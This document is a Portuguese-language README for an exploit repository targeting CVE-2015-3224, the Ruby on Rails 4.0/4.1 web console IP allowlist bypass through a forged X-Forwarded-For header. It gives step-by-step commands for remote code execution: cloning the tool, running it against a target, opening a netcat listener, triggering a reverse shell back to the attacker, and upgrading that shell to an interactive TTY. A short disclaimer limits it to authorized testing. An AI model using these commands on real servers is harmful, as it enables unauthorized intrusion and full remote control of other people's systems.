
Exploit do Web Console do Ruby on Rails (CVE-2015-3224)
Este repositório contém um script Python para explorar uma vulnerabilidade de bypass da lista de permissões de IP no console web de desenvolvimento do Ruby on Rails 4.0.x e 4.1.x. O script permite a execução remota de código em servidores vulneráveis.
⚠️ Aviso Este script destina-se apenas a fins educacionais e a testes de segurança autorizados. Não o utilize em nenhum sistema sem permissão explícita. Os autores não são responsáveis por qualquer uso indevido ou dano causado por este script.
O console web nas versões vulneráveis do Ruby on Rails destina-se a fins de desenvolvimento e deve ser acessível apenas a partir de endereços IP confiáveis. No entanto, devido ao tratamento inadequado do cabeçalho HTTP X-Forwarded-For, um atacante pode forjar o seu endereço IP para parecer um utilizador local confiável (por exemplo, 127.0.0.1 ou ::1). Isto contorna a lista de permissões de IP e concede acesso não autorizado ao console web, levando à execução remota de código.
requestsInstalar requests:
pip install requests
Clonar o repositório:
git clone https://github.com/Sic4rio/CVE-2015-3224
cd <diretório-do-repositório>
Tornar o script executável:
chmod +x exploit.py
Este modo é útil para executar comandos rápidos e simples.
./exploit.py -t http://<IP_ALVO>:<PORTA>
Este é o modo recomendado para obter um shell estável e totalmente interativo.
Na sua máquina local, abra um novo terminal e inicie um listener netcat.
nc -lvnp 9001
Noutro terminal, execute o script com a flag --rev-shell, fornecendo o seu IP local (lhost) e porta (lport).
./exploit.py -t http://<IP_ALVO>:<PORTA> --rev-shell --lhost <SEU_IP> --lport 9001
Uma ligação chegará ao seu listener netcat. Para a atualizar para um TTY totalmente interativo, siga estes passos na janela do netcat:
Ctrl+Z.stty raw -echo; fg
Enter se o prompt não reaparecer.reset
export SHELL=bash
export TERM=xterm-256color
stty rows 50 cols 120
Agora tem um shell totalmente funcional e estável!